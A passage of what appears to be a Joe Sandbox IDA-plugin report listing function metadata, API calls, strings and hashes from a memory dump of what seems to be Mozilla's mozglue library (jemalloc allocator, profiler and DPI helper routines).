Opcode ID: a6664c34626ae124892fdeae968a59eaad38351d6a73024cac0e1d78ac34b554
Instruction ID: 327ca461cc998c4589d86090e103e74addc63aa41f4849d6a4a42f0d72553d45
Opcode Fuzzy Hash: a6664c34626ae124892fdeae968a59eaad38351d6a73024cac0e1d78ac34b554
Instruction Fuzzy Hash: E8534B71A057018FD714CF29C580615BBE1BF8A328F29CA6DE8798B791D772E842CF91

Function 6C400DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C400F1F
LeaveCriticalSection.KERNEL32(?), ref: 6C400F99
memcpy.VCRUNTIME140(?,?,?), ref: 6C400FB7
EnterCriticalSection.KERNEL32(?), ref: 6C400FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6C401031
LeaveCriticalSection.KERNEL32(?), ref: 6C4010D0
EnterCriticalSection.KERNEL32(?), ref: 6C40117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6C401C39
EnterCriticalSection.KERNEL32(6C44E744), ref: 6C403391
LeaveCriticalSection.KERNEL32(6C44E744), ref: 6C4033CD
LeaveCriticalSection.KERNEL32(?), ref: 6C403431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C403437

Strings

MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C4037A8
MOZ_CRASH(), xrefs: 6C403950
: (malloc) Unsupported character in malloc options: ', xrefs: 6C403A02
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C4037D2
MALLOC_OPTIONS, xrefs: 6C4035FE
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C4037BD
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C403559, 6C40382D, 6C403848
Compile-time page size does not divide the runtime one., xrefs: 6C403946
<jemalloc>, xrefs: 6C403941, 6C4039F1
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C403793

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: 00099c0b74312bdf7996a9983f9fa61434f7ee2fa35aa063e5466ecad429ccfc
Instruction ID: 6603e1a917521f6b781f61c259bb534525ddf722d5ec807acfdc690e38239fcc
Opcode Fuzzy Hash: 00099c0b74312bdf7996a9983f9fa61434f7ee2fa35aa063e5466ecad429ccfc
Instruction Fuzzy Hash: E8535972B456018FD714CF28C580F16BBE1BF89328F29C66DE8699B791D771E842CB81

Function 6C4255F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(user32,?,6C3FE1A5), ref: 6C425606
LoadLibraryW.KERNEL32(gdi32,?,6C3FE1A5), ref: 6C42560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6C425633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6C42563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6C42566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6C42567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6C425696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6C4256B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6C4256CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6C4256E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6C4256FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6C425716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6C42572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6C425748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6C425761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6C42577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6C425793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6C4257A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6C4257BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6C4257D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6C4257EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6C4257FF

Strings

GetWindowDC, xrefs: 6C425710
GetSystemMetricsForDpi, xrefs: 6C425677
AreDpiAwarenessContextsEqual, xrefs: 6C425637
ShowWindow, xrefs: 6C4256DE
CreateSolidBrush, xrefs: 6C4257E4
RegisterClassW, xrefs: 6C4256AC
GetMonitorInfoW, xrefs: 6C4257A2
CreateWindowExW, xrefs: 6C4256C5
MonitorFromWindow, xrefs: 6C42578D
ReleaseDC, xrefs: 6C425742
DeleteObject, xrefs: 6C4257F9
user32, xrefs: 6C425601
LoadIconW, xrefs: 6C42575B
FillRect, xrefs: 6C425729
EnableNonClientDpiScaling, xrefs: 6C425666
StretchDIBits, xrefs: 6C4257CC
GetDpiForWindow, xrefs: 6C425690
gdi32, xrefs: 6C42560A
SetWindowLongPtrW, xrefs: 6C4257B7
GetThreadDpiAwarenessContext, xrefs: 6C42562D
LoadCursorW, xrefs: 6C425774
SetWindowPos, xrefs: 6C4256F7

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: b5282169f91388d0d502655cceb4dc4a756d9897a395a57ccacf12b1676aae38
Instruction ID: d8f7df6208cbd05232260e5e5774381062d3930c0da9e1d373c2520ec6556abf
Opcode Fuzzy Hash: b5282169f91388d0d502655cceb4dc4a756d9897a395a57ccacf12b1676aae38
Instruction Fuzzy Hash: 9F512470612B529BFB01FF398D45D2A3AB8EB4625E770D425E915E3B46EB74C810CF60

Function 6C4234A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C423527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C42355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C4235BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C4235E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C42363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C423693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C4236CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C423703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C42373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C423775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C42378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C423892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C4238BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C423902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C423939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C423970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C4239EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C423A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C423AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C423E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C423EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C423EE2

Part of subcall function 6C426180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6C4261DD
Part of subcall function 6C426180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6C42622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C4240F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C42412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C424157

Part of subcall function 6C426180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C426250
Part of subcall function 6C426180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C426292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C42441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C424448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C42484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C424863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C424878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C424896
free.MOZGLUE ref: 6C42489F

Strings

, xrefs: 6C424CD2

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: 53eeb831caf3c6dd97b8c0b34099d7180df3caed47b61b0d31455718576530f8
Instruction ID: 727fe17811b43f4d7a161a42ee41f0aa0f9689b4232100c5fabf3dcb5166499c
Opcode Fuzzy Hash: 53eeb831caf3c6dd97b8c0b34099d7180df3caed47b61b0d31455718576530f8
Instruction Fuzzy Hash: 96F24B74908B808FC721DF29C084A9AFBF1FFC9358F118A5ED99997711DB319886CB42

Function 6C40F070 Relevance: 59.9, APIs: 30, Strings: 4, Instructions: 412threadtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C40F09B

Part of subcall function 6C3E5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C3E56EE,?,00000001), ref: 6C3E5B85
Part of subcall function 6C3E5B50: EnterCriticalSection.KERNEL32(6C44F688,?,?,?,6C3E56EE,?,00000001), ref: 6C3E5B90
Part of subcall function 6C3E5B50: LeaveCriticalSection.KERNEL32(6C44F688,?,?,?,6C3E56EE,?,00000001), ref: 6C3E5BD8
Part of subcall function 6C3E5B50: GetTickCount64.KERNEL32 ref: 6C3E5BE4

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C40F0AC

Part of subcall function 6C3E5C50: GetTickCount64.KERNEL32 ref: 6C3E5D40
Part of subcall function 6C3E5C50: EnterCriticalSection.KERNEL32(6C44F688), ref: 6C3E5D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C40F0BE

Part of subcall function 6C3E5C50: __aulldiv.LIBCMT ref: 6C3E5DB4
Part of subcall function 6C3E5C50: LeaveCriticalSection.KERNEL32(6C44F688), ref: 6C3E5DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6C40F155
GetCurrentThreadId.KERNEL32 ref: 6C40F1E0
AcquireSRWLockExclusive.KERNEL32(6C44F4B8), ref: 6C40F1ED
ReleaseSRWLockExclusive.KERNEL32(6C44F4B8), ref: 6C40F212
GetCurrentThreadId.KERNEL32 ref: 6C40F229
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C40F231
?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C40F248
GetCurrentThreadId.KERNEL32 ref: 6C40F2AE
AcquireSRWLockExclusive.KERNEL32(6C44F4B8), ref: 6C40F2BB
ReleaseSRWLockExclusive.KERNEL32(6C44F4B8), ref: 6C40F2F8

Part of subcall function 6C3FCBE8: GetCurrentProcess.KERNEL32(?,6C3C31A7), ref: 6C3FCBF1
Part of subcall function 6C3FCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C3C31A7), ref: 6C3FCBFA

Part of subcall function 6C409420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C3D4A68), ref: 6C40945E
Part of subcall function 6C409420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C409470
Part of subcall function 6C409420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C409482
Part of subcall function 6C409420: __Init_thread_footer.LIBCMT ref: 6C40949F

GetCurrentThreadId.KERNEL32 ref: 6C40F350
AcquireSRWLockExclusive.KERNEL32(6C44F4B8), ref: 6C40F35D
ReleaseSRWLockExclusive.KERNEL32(6C44F4B8), ref: 6C40F381
GetCurrentThreadId.KERNEL32 ref: 6C40F398
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C40F3A0
GetCurrentThreadId.KERNEL32 ref: 6C40F489
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C40F491

Part of subcall function 6C4094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C4094EE
Part of subcall function 6C4094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C409508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C40F3CF

Part of subcall function 6C40F070: GetCurrentThreadId.KERNEL32 ref: 6C40F440
Part of subcall function 6C40F070: AcquireSRWLockExclusive.KERNEL32(6C44F4B8), ref: 6C40F44D
Part of subcall function 6C40F070: ReleaseSRWLockExclusive.KERNEL32(6C44F4B8), ref: 6C40F472

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C40F4A8
GetCurrentThreadId.KERNEL32 ref: 6C40F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C40F561
GetCurrentThreadId.KERNEL32 ref: 6C40F577
AcquireSRWLockExclusive.KERNEL32(6C44F4B8), ref: 6C40F585
ReleaseSRWLockExclusive.KERNEL32(6C44F4B8), ref: 6C40F5A3

Strings

[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C40F56A
[I %d/%d] profiler_resume, xrefs: 6C40F239
[I %d/%d] profiler_pause_sampling, xrefs: 6C40F3A8
[I %d/%d] profiler_resume_sampling, xrefs: 6C40F499

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: CurrentExclusiveLock$Thread$AcquireRelease$CriticalSectionTime_getpid$?profiler_time@baseprofiler@mozilla@@getenv$Count64EnterLeaveProcessStampTickV01@@Value@mozilla@@$BaseCounterDurationInit_thread_footerNow@PerformancePlatformQuerySeconds@Stamp@mozilla@@TerminateUtils@mozilla@@V12@___acrt_iob_func__aulldiv__stdio_common_vfprintf
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 565197838-2840072211
Opcode ID: fa41999c60bf5efc3057af1cc1957622c8c756a204e48491602b7d8b0d71a8b4
Instruction ID: 88f39d642d8db9a8b37774d23bda953ec29834ce5ed01b493ad123ab668c9686
Opcode Fuzzy Hash: fa41999c60bf5efc3057af1cc1957622c8c756a204e48491602b7d8b0d71a8b4
Instruction Fuzzy Hash: C4D1D4757066009FFB00FB64D404F9A77B4EB9632CF24863EE96583B81DB7158098BA6

Function 6C3D64C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C3D64DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C3D64F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C3D6505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C3D6518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C3D652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C3D671C
GetCurrentProcess.KERNEL32 ref: 6C3D6724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C3D672F
GetCurrentProcess.KERNEL32 ref: 6C3D6759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C3D6764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C3D6A80
GetSystemInfo.KERNEL32(?), ref: 6C3D6ABE
__Init_thread_footer.LIBCMT ref: 6C3D6AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C3D6AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C3D6AF7

Strings

user32.dll, xrefs: 6C3D6526
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C3D6798
nvd3d9wrap.dll, xrefs: 6C3D6500
detoured.dll, xrefs: 6C3D64DA
nvdxgiwrap.dll, xrefs: 6C3D6513
_etoured.dll, xrefs: 6C3D64ED

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: e64cfbd4d9f752594b002168efbfff2c74faf18abee50a5b5251cc8061accd24
Instruction ID: c628776c134b3a9f0e16222619a2e4833bfa11f18c3ec4d6344fd7af2c4822b6
Opcode Fuzzy Hash: e64cfbd4d9f752594b002168efbfff2c74faf18abee50a5b5251cc8061accd24
Instruction Fuzzy Hash: 05F115719012298FDB20DF64CC88B9AB7B5EF4531CF2586D9D869A3641D732BE84CF90

Function 6C3ED850 Relevance: 48.4, APIs: 21, Strings: 6, Instructions: 1109COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C3ED904
LeaveCriticalSection.KERNEL32(?), ref: 6C3ED971
memset.VCRUNTIME140(?,00000000,?), ref: 6C3ED97B
LeaveCriticalSection.KERNEL32(?), ref: 6C3EE2E3
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C3EE2E9
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C3EE308
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C3EE315
AcquireSRWLockExclusive.KERNEL32(6C44E804), ref: 6C3EE37C
GetSystemInfo.KERNEL32(?), ref: 6C3EE3C7
__Init_thread_footer.LIBCMT ref: 6C3EE3DA
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C44E810,00000040), ref: 6C3EE404
InitializeCriticalSectionAndSpinCount.KERNEL32(6C44E7B8,00001388), ref: 6C3EE46D
InitializeCriticalSectionAndSpinCount.KERNEL32(6C44E744,00001388), ref: 6C3EE483
InitializeCriticalSectionAndSpinCount.KERNEL32(6C44E784,00001388), ref: 6C3EE4A9
InitializeCriticalSectionAndSpinCount.KERNEL32(6C44E7DC,00001388), ref: 6C3EE4CA
InitializeCriticalSectionAndSpinCount.KERNEL32(6C44E768,00001388), ref: 6C3EE50C
memset.VCRUNTIME140(00000000,00000000,00004000), ref: 6C3EE52E
ReleaseSRWLockExclusive.KERNEL32(6C44E804), ref: 6C3EE54F

Part of subcall function 6C3DD960: EnterCriticalSection.KERNEL32(?), ref: 6C3DD999
Part of subcall function 6C3DD960: EnterCriticalSection.KERNEL32(6C44E7B8), ref: 6C3DDA13

Strings

MOZ_CRASH(), xrefs: 6C3EE62B
: (malloc) Unsupported character in malloc options: ', xrefs: 6C3EE6DD
MALLOC_OPTIONS, xrefs: 6C3EE3FF
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C3EE560, 6C3EE58A, 6C3EE5A5
Compile-time page size does not divide the runtime one., xrefs: 6C3EE621
<jemalloc>, xrefs: 6C3EE61C, 6C3EE6CC

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: CriticalSection$CountInitializeSpin$Enter$ExclusiveK@1@LeaveLockMaybe@_RandomUint64@mozilla@@memset$AcquireEnvironmentInfoInit_thread_footerReleaseSystemVariable_errno
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 919329573-429003945
Opcode ID: 9e165b65d4d1f7583eb4ab5f43202846500516ecbff41dc893861c27387db0e5
Instruction ID: bcb40e21628ecc249a8cf787a38c6d8d496824766d6a64212b8d3a3c25b3f5eb
Opcode Fuzzy Hash: 9e165b65d4d1f7583eb4ab5f43202846500516ecbff41dc893861c27387db0e5
Instruction Fuzzy Hash: CA928A71A057218BD714DF28C480715FBE1FB8A328F29C66EE8698B791D772E841CF81

Function 6C42C4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C42C5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C42C6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C42C74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C42C7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6C42C9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C42CC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C42CD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C42DB40
memcpy.VCRUNTIME140(?,?,?), ref: 6C42DB62
memcpy.VCRUNTIME140(?,?,?), ref: 6C42DB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C42DD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C42DE95
memcpy.VCRUNTIME140(?,?,?), ref: 6C42E360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C42E432
memcpy.VCRUNTIME140(?,?,?), ref: 6C42E472

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: c640f8497ef5fedf9c56790363bd6d230233ca99cdc972e5621e372c9003618e
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: 2333AE71E0021A8FCB04CFA8C8C1EADBBF2FF49310F294269D955AB755D735A946CB90

Function 6C3EED10 Relevance: 32.4, APIs: 16, Strings: 2, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6C3EEE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C3EEFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C3F1695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C3F16B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6C3F1770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C3F1A3E

Strings

~q<l, xrefs: 6C3EED13
~q<l, xrefs: 6C3EED10

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID: ~q<l$~q<l
API String ID: 3693777188-1929549152
Opcode ID: 1b00006b5e1e638ee4bb53e75523848d291731071ef11b527382726356f99d67
Instruction ID: 9a5345dbb6a5b0eafd64a9d7e0f0a12c74f0c7f88298f2484d364e08a74e6d9a
Opcode Fuzzy Hash: 1b00006b5e1e638ee4bb53e75523848d291731071ef11b527382726356f99d67
Instruction Fuzzy Hash: 79B32A71E00229CFCB14CFA8C990A9DB7B2FF89304F1586A9D459AB745D731AD86CF90

Function 6C3DFD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

